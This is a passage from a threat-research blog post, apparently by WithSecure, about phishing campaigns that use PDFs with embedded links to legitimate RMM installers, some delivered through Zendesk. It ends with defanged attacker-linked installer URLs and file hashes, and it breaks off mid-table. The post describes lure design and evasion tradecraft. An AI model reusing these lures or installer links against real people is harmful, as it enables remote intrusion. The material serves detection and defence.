14.7v3.5h29.4v-3.5C46.7 40.6 40.1 34 32 34z\"><\/path>\n                    <path d=\"M32 31.2c6 0 10.9-4.9 10.9-10.9S38 9.4 32 9.4s-10.9 4.9-10.9 10.9S26 31.2 32 31.2z\"><\/path>\n                <\/svg>\n            <\/span>\n            <\/div>\n    <div class=\"wp-component-author-card__content\">\n                    <h3 class=\"wp-component-author-card__name\">Jeremy Ong<\/h3>\n        \n                \n            <\/div>\n\n<\/div>\n\n                                    <\/div>\n\n            <\/div>\n<nav\n    class=\"wp-component-content-navigation wp-block-two-column-block__content-nav js-content-navigation\"\n    data-bem-base=\"wp-component-content-navigation\"\n    data-nav-column=\"left\"\n    data-nav-type=\"auto\"\n>\n            <p class=\"wp-component-content-navigation__title\">\n            Content        <\/p>\n    \n    <div class=\"wp-component-content-navigation__mobile\">\n        <label class=\"wp-component-content-navigation__mobile-label\">\n            <span class=\"wp-component-content-navigation__mobile-label-text\">\n                Content navigation            <\/span>\n            <select class=\"wp-component-content-navigation__select js-content-navigation-select\">\n                <option value=\"\">\n                    Select a section                <\/option>\n                            <\/select>\n        <\/label>\n    <\/div>\n\n    <div class=\"wp-component-content-navigation__desktop\">\n        <div class=\"wp-component-content-navigation__list-wrapper\">\n            <span\n                class=\"wp-component-content-navigation__indicator js-content-navigation-indicator\"\n                aria-hidden=\"true\"\n            ><\/span>\n            <ul class=\"wp-component-content-navigation__list js-content-navigation-list\">\n                            <\/ul>\n        <\/div>\n    <\/div>\n<\/nav>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__hide-mobile wp-block-two-column-block__share wp-block-two-column-block__hide-mobile\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/email-delivered-rmm\/&#038;title=Email-Delivered%20RMM:%20Abusing%20PDFs%20for%20Silent%20Initial%20Access\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=Email-Delivered RMM: Abusing PDFs for Silent Initial Access&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/email-delivered-rmm\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                                                <div class=\"wp-block-two-column-block__right\">\n                                <div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <h2>Introduction<\/h2>\n<p>Since November 2024, WithSecure has been tracking a slight uptick of targeted activities leveraging Remote Monitoring and Management (RMM) tools embedded within PDF documents. The activity primarily targets organizations in France and Luxembourg, using socially engineered emails to deliver a clean PDF containing an embedded link to an RMM installer, a simple but effective method of bypassing many email and malware defences.<\/p>\n<p>RMM tools, while legitimate in nature, have emerged as a popular initial access and persistence vector for threat actors. Their use enables attackers to gain access to the networks, disable security features, escalate privileges, and deploy subsequent malware using a \u201cclean\u201d and trusted tool. This tactic is neither new nor uncommon; notably, the <a href=\"https:\/\/intel471.com\/blog\/threat-hunting-case-study-rmm-software\" target=\"_blank\" rel=\"noopener\">Black Basta ransomware group has been observed impersonating IT support personnel to trick victims into installing RMM tools<\/a>, which were then used to deliver ransomware.<\/p>\n<p>The purpose of this blog is to highlight the risks posed by such tooling, and provide awareness and insights into the ongoing, trending activity with an emphasis of the evolution of the RMM tools used by threat actors.<\/p>\n<h2>Activity Overview<\/h2>\n<p>The activity observed and tracked by WithSecure since November 2024 represents a highly focused pattern, primarily targeting organizations in France and Luxembourg. The threat actors leverage carefully crafted PDFs tailored to the victim\u2019s industry while also referencing the specific RMM tool being deployed. These PDFs are often disguised to look like invoices, contracts, or property listings to enhance credibility and lure victims into clicking the embedded link. For instance, one PDF used to target a real estate organization in the Netherlands was written in Dutch and included blurred images of properties. This design was intended to create the illusion of legitimate content that has been obscured, prompting the victim to install a program. In this case, the program was FleetDeck RMM.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/rmmpdf1.png.webp\" alt=\"\" \/><\/figure>\n<p>While the majority of observed activity has focused on France and Luxembourg, it has not been limited to these countries. Most cases have occurred within Europe, suggesting a regional targeting strategy. Moreover, the inclusion of Luxembourg as a primary target is particularly interesting. Despite its proportionately small population compared to other European countries, Luxembourg has one of the highest GDPs per capita globally, making it an appealing target for financially motivated threat actors. The activity appears to be prioritizing high-value sectors such as energy, government, banking, and construction industries, commonly targeted in cybercrime. This reinforces the idea that the threat actors are targeting organizations where a successful compromise could yield greater financial gain, rather than broad-scale distribution, which typically involves sending out high volumes of generic phishing emails in hope that a few recipients will take the bait.<\/p>\n<p>Although isolated activities have also been seen outside of Europe, the overall geographic pattern supports the likelihood of a Europe-based or Europe-focused threat actor, with a strong understanding of local language and business sectors.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/rmmpdf2.png.webp\" alt=\"\" \/><\/figure>\n<h2>Delivery Vector<\/h2>\n<p>The delivery mechanism used in these activities centers around PDF documents containing a single embedded direct download link to an RMM installer. These PDFs are typically distributed via social engineering emails, crafted to appear relevant to the victim\u2019s industry or role. To enhance credibility, the threat actor either spoofs email addresses or registers lookalike domains. In many cases these emails impersonate real employees in significant roles from the spoofed organization, further increasing their authenticity. This combination of email spoofing and impersonation tactics significantly improves the success rate of the phishing email.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/rmmpdf3.png.webp\" alt=\"\" \/><\/figure>\n<p>The embedded links within the PDFs point directly to download URLs generated by the RMM vendors when the threat actor registers an account on the platform. These URLs are unique and may include information such as access key, which link the installer back to the attacker\u2019s account. Since RMM tools are commonly used for legitimate IT support, this tactic allows the attackers to bypass email and antivirus scans, not only on the email attachment itself but also on the embedded URL and the downloaded executable.<\/p>\n<p>In more recent activities, a notable shift in delivery method has been the abuse of Zendesk as a distribution channel. Instead of relying solely on traditional phishing emails, the threat actor has submitted tickets or replies through Zendesk that include the malicious PDF. While the exact content of these tickets or replies remains unclear, analysis from VirusTotal indicates that the malicious PDFs were being downloaded from Zendesk hosted URLs. Although Zendesk scans attachments for malware, the embedded link within the PDF points to a clean, signed RMM installer hosted on a reputable domain, allowing them to evade detection. This shift likely reflects an effort to bypass email security controls by leveraging a trusted platform that is not typically associated with phishing delivery.<\/p>\n<h2>RMM Tooling<\/h2>\n<p>WithSecure has observed the use of several different RMM tools across the tracked activity cluster. These include well-known solutions such as FleetDeck, Atera, and Bluetrait, among others. The selection of tools does not appear to be tailored to the victim\u2019s industry or region. Instead, the common factor among these tools is their availability via direct download links and the fact that they do not require any further setup or configuration after installation. This enables threat actors to streamline the infection process. Once the victim clicks the embedded link and runs the installer, the RMM tool becomes immediately operational and often grants remote access without requiring further user interaction or authentication steps. A notable exception to this pattern is the use of ScreenConnect, which was delivered via a redirect URL embedded in the PDF rather than a direct download link. This may have been done to avoid exposing the RMM instance domain, which appears to be visible in direct download links based on VirusTotal searches. This approach could make it more difficult for defenders to attribute or track the activity.<\/p>\n<p>While WithSecure began tracking this activity in November 2024, earlier instances of RMM usage have been observed in VirusTotal submissions dating back to July 2024.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/rmmpdf4.png.webp\" alt=\"\" \/><\/figure>\n<h2>File metadata<\/h2>\n<p>Metadata analysis of the PDFs used in this activity cluster reveals notable patterns that offer insight into the tooling used during PDF creation. WithSecure has identified seven distinct values in the author metadata field:<\/p>\n<ul>\n<li>Dennis Block<\/li>\n<li>Guillaume Vaugeois<\/li>\n<li>Alina Georgiana Mihalcea<\/li>\n<li>WorldStream Customer<\/li>\n<li>ALEXANDERS PARAIN<\/li>\n<li>DABA DABA<\/li>\n<li>COMPTA VDB<\/li>\n<\/ul>\n<p>While these names do not appear to correspond to known threat actors, and no clear linkage has been established between them, their inconsistent and seemingly random nature suggests that they may be randomly assigned. This could reflect the use of varied tools to generate the phishing documents, or an intentional effort to diversify metadata in order to evade detections.<\/p>\n<p>Further metadata analysis, specifically the creator and producer fields, provides additional insight into the tools used to generate these PDFs. Several samples indicate the use of common document editing platforms, including:<\/p>\n<ul>\n<li>Microsoft Word<\/li>\n<li>Canva<\/li>\n<li>ILovePDF<\/li>\n<\/ul>\n<p>These findings indicate the use of widely available tools in the document creation process, possibly to streamline production or obscure the origin of the files.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/rmmpdf5.png.webp\" alt=\"\" \/><\/figure>\n<table cellpadding=\"3\" cellspacing=\"0\" border=\"1\">\n<caption>&nbsp;<\/caption>\n<tbody>\n<tr>\n<td><b>Author<\/b><\/td>\n<td><b>Tool (Creator\/Producer)<\/b><\/td>\n<\/tr>\n<tr>\n<td width=\"301\" valign=\"top\">\n<p>Dennis Block<\/p>\n<\/td>\n<td width=\"301\" valign=\"top\">\n<p>Microsoft Word, ILovePDF<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"301\" valign=\"top\">\n<p>Guillaume Vaugeois<\/p>\n<\/td>\n<td width=\"301\" valign=\"top\">\n<p>Canva<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"301\" valign=\"top\">\n<p>Alina Georgiana Mihalcea<\/p>\n<\/td>\n<td width=\"301\" valign=\"top\">\n<p>Canva<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"301\" valign=\"top\">\n<p>WorldStream Customer<\/p>\n<\/td>\n<td width=\"301\" valign=\"top\">\n<p>Microsoft Word<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"301\" valign=\"top\">\n<p>ALEXANDERS PARAIN<\/p>\n<\/td>\n<td width=\"301\" valign=\"top\">\n<p>Canva<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"301\" valign=\"top\">\n<p>DABA DABA<\/p>\n<\/td>\n<td width=\"301\" valign=\"top\">\n<p>Canva<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"301\" valign=\"top\">\n<p>COMPTA VDB<\/p>\n<\/td>\n<td width=\"301\" valign=\"top\">\n<p>Canva<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Table 1. Summary of author metadata and PDF creation tools used in observed samples<\/p>\n<p>Mitigation<\/p>\n<p>To reduce exposure to this activity cluster, organizations should implement a combination of technical controls and user awareness measures. Blocking direct downloads of known RMM installers can prevent initial access, particularly when tools like FleetDeck, Atera, or ScreenConnect are not part of the approved IT stack. Furthermore, implementing application allowlisting can prevent unauthorized RMM tools from executing in the environment. Where possible, access to these installers and tools should be restricted unless explicitly required or approved by the IT or security team.<\/p>\n<p>In parallel, organizations should monitor for unauthorized RMM activity. Unusual process chains, such as a PDF opening a browser to download an RMM EXE or MSI file, should trigger alerts. Endpoint detection and response (EDR) solutions can help surface this behavior effectively.<\/p>\n<p>Finally, user training remains a critical defense. Employees should be made aware of phishing tactics involving fake invoices, contracts, or IT support requests that attempt to trick them into installing remote access software.<\/p>\n<h2>Conclusion<\/h2>\n<p>The activity cluster observed by WithSecure highlights how legitimate tools, such as RMM software, continue to be repurposed for malicious use. By embedding direct download links within PDF documents and delivering them through social engineering techniques, threat actors can bypass traditional detection mechanisms and lower the barrier for initial compromise.<\/p>\n<p>Although no post-infection payloads have been observed, the use of RMM tools strongly suggests their role as an initial access vector, potentially enabling further malicious activity. Ransomware operators in particular have favoured this approach, with groups such as Black Basta, Conti, Royal, and BlackCat previously observed using RMM tools to establish initial access before deploying ransomware payloads.<\/p>\n<p>This ongoing activity targeting France, Luxembourg, and surrounding regions underscores the importance of visibility into seemingly harmless tools, especially when delivered through unconventional vectors like embedded PDF links. Organizations should remain alert to the abuse of legitimate software and continue to harden their environments against socially engineered threats.<\/p>\n<h2>IOCS<\/h2>\n<h3>Observed RMM Installer URLs<\/h3>\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"3\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"123\"><b>RMM Tool<\/b><\/td>\n<td valign=\"top\" width=\"479\"><b>Download URLs<\/b><\/td>\n<\/tr>\n<tr>\n<td rowspan=\"10\" valign=\"top\" width=\"123\">FleetDeck<\/td>\n<td valign=\"top\" width=\"479\">hxxps:\/\/agent[.]fleetdeck[.]io\/QsoxdPZw4B9TXSgRtqBnNM?win<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/agent[.]fleetdeck[.]io\/AXcsqzW86wmaHrjPNaYQTo?win<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/agent[.]fleetdeck[.]io\/Z3dBX7JqaJpCzvCWLWYw2?win<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/agent[.]fleetdeck[.]io\/HoX9E2imWqMazYqypRUuzv?win<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/agent[.]fleetdeck[.]io\/16Dj3d4Fdn8NMMfbrVSeQn?win<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/agent[.]fleetdeck[.]io\/Nhohu2abKJS6eQiQmDFcQF?win<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/agent[.]fleetdeck[.]io\/JGGvyrtLZMfchTVtuz4Kzu?win<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/agent[.]fleetdeck[.]io\/U4KA7AKnzheqApGs3H2dJb?win<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/agent[.]fleetdeck[.]io\/Cy7aGZfvLsfKEuk8rEGPWn?win<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/agent[.]fleetdeck[.]io\/T9sTRrGyhJKjM4eFfqrnWy?win<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"123\">Action1<\/td>\n<td valign=\"top\" width=\"479\">hxxps:\/\/app[.]eu[.]action1[.]com\/agent\/7409f2b3-8fe0-11ef-8ef6-9f7ccf3fde70\/Windows\/agent\\(My_Organization\\)[.]msi<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"11\" valign=\"top\" width=\"123\">Bluetrait<\/td>\n<td valign=\"top\" width=\"479\">hxxps:\/\/moduleadobeu[.]bluetrait[.]io\/simple\/msp_download_agent?os=windows&amp;access_key=8f92d3d1-ed14-41ff-ba2d-6abeeae4c492<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/massen[.]bluetrait[.]io\/simple\/msp_download_agent?os=windows&amp;access_key=b888df6c-4488-4146-8fd1-9292023576ad<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/altrotech[.]bluetrait[.]io\/simple\/msp_download_agent?os=windows&amp;access_key=3a682a3f-ffb8-4fcb-9c24-05e714de9d9a<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/revilox[.]bluetrait[.]io\/simple\/msp_download_agent?os=windows&amp;access_key=7258f2f8-0da3-4b38-8632-020b07a6d4e2<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/mitnick[.]bluetrait[.]io\/simple\/msp_download_agent?os=windows&amp;access_key=2763d93a-3794-41bb-9a63-28c9c17e2610<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/lerelaisvoyages[.]bluetrait[.]io\/simple\/msp_download_agent?os=windows&amp;access_key=7405f906-afeb-4d4c-a11f-d7cec04b2876<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/sogetis[.]bluetrait[.]io\/simple\/msp_download_agent?os=windows&amp;access_key=1bc87723-0bd5-4f07-b44f-613252212666<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/stauffer[.]bluetrait[.]io\/simple\/msp_download_agent?os=windows&amp;access_key=b16aeb72-bb7a-4f0e-812e-576bf15cba19<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/leferry[.]bluetrait[.]io\/simple\/msp_download_agent?os=windows&amp;access_key=8d985c6f-1862-4b80-9b32-1a28880fb5c3<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/managerbank[.]bluetrait[.]io\/simple\/msp_download_agent?os=windows&amp;access_key=44de3e71-9cb2-4a28-a5fd-7ac06d446284<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/groupe[.]bluetrait[.]io\/simple\/msp_download_agent?os=windows&amp;access_key=dd90f8fb-ff32-4041-8fc3-735e0820d58d<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"7\" valign=\"top\" width=\"123\">OptiTune<\/td>\n<td valign=\"top\" width=\"479\">hxxps:\/\/manage[.]opti-tune[.]com\/agent\/download[.]ashx?id=c6292c97-823b-4075-be7f-c703d7d4cec3<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/manage[.]opti-tune[.]com\/agent\/download[.]ashx?id=fc04f3f3-282d-4e00-a1b2-4592d5847f9d<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/manage[.]opti-tune[.]com\/agent\/download[.]ashx?id=441ff695-e33b-46d6-a069-91e06d6f12d8<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/manage[.]opti-tune[.]com\/agent\/download[.]ashx?id=2f821e8d-e075-4cba-ab36-af777d3a2e2e<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/manage[.]opti-tune[.]com\/agent\/download[.]ashx?id=35144ffd-cb78-45ed-84a1-154043cc954c<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/manage[.]opti-tune[.]com\/agent\/download[.]ashx?id=637efb75-56a0-47a2-a4f8-b394036c753d<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/manage[.]opti-tune[.]com\/agent\/download[.]ashx?id=9d5ad946-3334-479c-8d25-13573bb1f2f4<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"2\" valign=\"top\" width=\"123\">Atera<\/td>\n<td valign=\"top\" width=\"479\">hxxps:\/\/helpdesksupport1747151491046[.]servicedesk[.]atera[.]com\/GetAgent\/Msi\/?customerId=1&amp;integratorLogin=alexandra[.]geyer@froid-chaud-service[.]com&amp;accountId=001Q300000TDQK9IAP<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/helpdesksupport1747151491046[.]servicedesk[.]atera[.]com\/GetAgent\/Windows\/?cid=1&amp;aid=001Q300000TDQK9IAP<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"8\" valign=\"top\" width=\"123\">Syncro<\/td>\n<td valign=\"top\" width=\"479\">hxxps:\/\/rmm[.]syncromsp[.]com\/dl\/msi\/djEtMzMyOTI3NTMtMTc3MjU3OTUxMi03MjgxNC00Mjc0NTk1<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/rmm[.]syncromsp[.]com\/dl\/msi\/djEtMzMyNjAzOTUtMTc3MTk2NDc2OS03Mjc1Mi00MjYxNzg3<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/rmm[.]syncromsp[.]com\/dl\/msi\/djEtMzM0MTY5ODItMTc3NTA2ODg2My03MzAwNS00MzIxODQ3<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/rmm[.]syncromsp[.]com\/dl\/msi\/djEtMzMzNTU3NTItMTc3Mzg3NjIyMi03Mjk1NS00MzA3MzY5<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/rmm[.]syncromsp[.]com\/dl\/msi\/djEtMzMyNzY0NTMtMTc3MjE1MTI1MS03Mjc4MC00MjY5Mjcy<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/rmm[.]syncromsp[.]com\/dl\/msi\/djEtMzM1NTAwOTYtMTc3NzUzOTk0MC03MzMyNC00MzgxMjU3<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/rmm[.]syncromsp[.]com\/dl\/msi\/djEtMzM1NDk5ODYtMTc3NzUzNDk5OC03MzMwMy00MzgxMjMw<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"479\">hxxps:\/\/rmm[.]syncromsp[.]com\/dl\/msi\/djEtMzM1NDI2NjktMTc3NzI3MDM0My03MzMwMy00MzU1MzA4<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"123\">SuperOps<\/td>\n<td valign=\"top\" width=\"479\">hxxps:\/\/eu-superops-wininstaller-prod[.]s3[.]eu-central-1[.]amazonaws[.]com\/agent\/4046068187223527424\/UQN7GX1C1UDC_19SYPURD17668_windows_x64[.]msi<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"123\">ScreenConnect<\/td>\n<td valign=\"top\" width=\"479\">hxxps:\/\/www[.]hpgas8[.]top\/Bin\/secure[.]ClientSetup[.]msi?e=Access&amp;y=Guest<\/p>\n<p>&nbsp;<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Observed PDF Delivery URLs via Zendesk<\/h3>\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"3\">\n<tbody>\n<tr>\n<td width=\"100\"><b>Link<\/b><\/td>\n<td valign=\"top\" width=\"150\"><b>PDF SHA256<\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"150\">hxxps:\/\/ttsonline[.]zendesk[.]com\/attachments\/token\/LkWkQiX9tZyPCn51DKqQv2gn6\/?name=RECORDATORIO+IMPORTANTE[.]pdf<\/td>\n<td valign=\"top\" width=\"150\">a8dc8dd2f71366010a74a0e31e21d86a29a418cfc8f7574ce290bb4009417da0<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"150\">hxxps:\/\/ttsonline[.]zendesk[.]com\/attachments\/token\/nBdmgrkjycttoqwSzIwj0MSvR\/?name=Comisiones+de+la+primera+cuota+se+requiere+actuar+en+caso+de+discrepancia[.]pdf<\/td>\n<td valign=\"top\" width=\"150\">4e392ea104f83c5d154c12f59200755cb8e3cdfaf058000ad24a1896cbb66fa4<\/p>\n<p>&nbsp;<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Observed Email and PDF Attachment Hashes<\/h3>\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"3\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"301\"><b>Email SHA256<\/b><\/td>\n<td valign=\"top\" width=\"301\"><b>PDF SHA256<\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"301\">79228809577bf65c75d8e2190f40a7201a6ea3c06521017107206ac82d8c47d5<\/td>\n<td valign=\"top\" width=\"301\">9ca4fcd50376d5cdfe86c9274305720b68b9ebadf59acb97f402810f3fcd2fc3<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"301\">e0ef73289dd4981c3f6a0d8640ea74c6cdb7340129749b44f9dc935bc56fdc33<\/td>\n<td valign=\"top\" width=\"301\">b1dae73270361e3f4ff7b7441dbe55fc433d6035285f2617f2b267d31de8e9c6<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"301\">c025cd3ebd280c88d5e54ce98ff92f6085c064f971e0b01310513939113e95d0<\/td>\n<td valign=\"top\" width=\"301\">bb3c78a381e5288ed314a0f0a74333cf3e581f908c84d82d997da4ab37f95141<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"301\">3f480d98a3d7d793152be1393e74c8d7ebbce67c94a6ca968b292389422e7f12<\/td>\n<td valign=\"top\" width=\"301\">16b2a07c2b5a1eb7a2aeea007910d0d30819e1f80d40ee3fb304098c6be1e584<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"301\">021f995ee8c497810ec3eecda6f87ed30ecb42ba7f22d32856b1efa231ae274b<\/td>\n<td valign=\"top\" width=\"301\">745663e1832367c54e1cca6bc34e73ff28e45caa794dc8c104045d71ba8a63f8<\/p>\n<p>&nbsp;<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Observed PDF Hashes and Author Metadata<\/h3>\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"3\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"113\"><b>Author<\/b><\/td>\n<td valign=\"top\" width=\"488\"><b>PDF SHA256<\/b><\/td>\n<\/tr>\n<tr>\n<td rowspan=\"27\" valign=\"top\" width=\"113\">Dennis Block<\/td>\n<td valign=\"top\" width=\"488\">8905f6c6f08c4530bc97ec51def19272d9df344b46ad2186265fb77d0db2003c<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">035f491059caf1402e6d3886ab405b61ab8a7b8d5937fb4c5a25484c1a6b6db4<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">3268341dc59e2486672e22c8645046098b6280ad89d4a872ef98e649e2c5cd07<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">f317ebdb581fc8accf00ede9c1eab756ecb966a02bca149a66ca080a9e62aaf5<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">ae4375eec439b0ee87f01fab2af55dcc5b663d7bc4ed6cd7da3c5c659e7a66fe<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">e9727ab064f38171090ad232533e8c8dd0cc4d56d57ec7bb05b5320b3ad25221<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">e09524690e24198c1cd5808954ec0e35e09febc9527ae1036be91db605f05faf<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">ddb96adab43c3c626494bca98b00c31e8d2d4be81139f438a1b6bb98cd21db65<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">0d8d1243844659f2b7eb7f0c7bec3057c05a0e3731f8330112b6d04dad718528<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">65878589cff87634b9f16abd0839c89020ac70499ffce8719c5a06ac40f3be1c<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">9395edd13d1d71f64b49503fb1c04836bcbb16b9bfe2b3744d4d53f49aa08385<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">b17cd37ad6d3adc89b84c7468730eda8702791531939f421880d605ef556ebf0<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">51159f622351a896439f605349301395c84cb68c245230ec76767e906d295391<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">6a9fa47a7f48274558cee2e0b901d2adaa1d97016899ed1b4c2f628760c35a0a<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">d19f13124449b4d89028e80579174a3d00cd10e0e28c3dd287b36ff50a5f3d0a<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">a6d75e175a3ceac0750eac4e2481dc260551218b61a3e19b9c8c1af4667a9913<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">1fd8c22a0bda1df277545700ac42183447ee3657f5106c9fccee623978a5b594<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">0771ddbaa101bbf4c051702026f56206bedf1b17e6dad7e68880edce2e63bbb8<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">a086433cd40c2c44fb76d29698333ffddac950e9dc9c7735cd9bf45194de496c<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">7f47f0b9d53927f05933d4881210023c876014f84515238a9e2abfb3b9bb28f3<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">e694758dc5495d71092ea50a8226400d38a18095e6936e063038c65374949016<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">c2325214fcd3ec4990a6caff5eb920f30296ad7ed2c9c753e5815f83fc447304<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">0d7b4a1d4558e0c6d29bc9a83f20db350f5afe6666942a372ec9a97003365a2d<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">1904d3ea755e13f64cb09f372cd9b107883f76ca73149d4f21f97022fdb28afe<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" 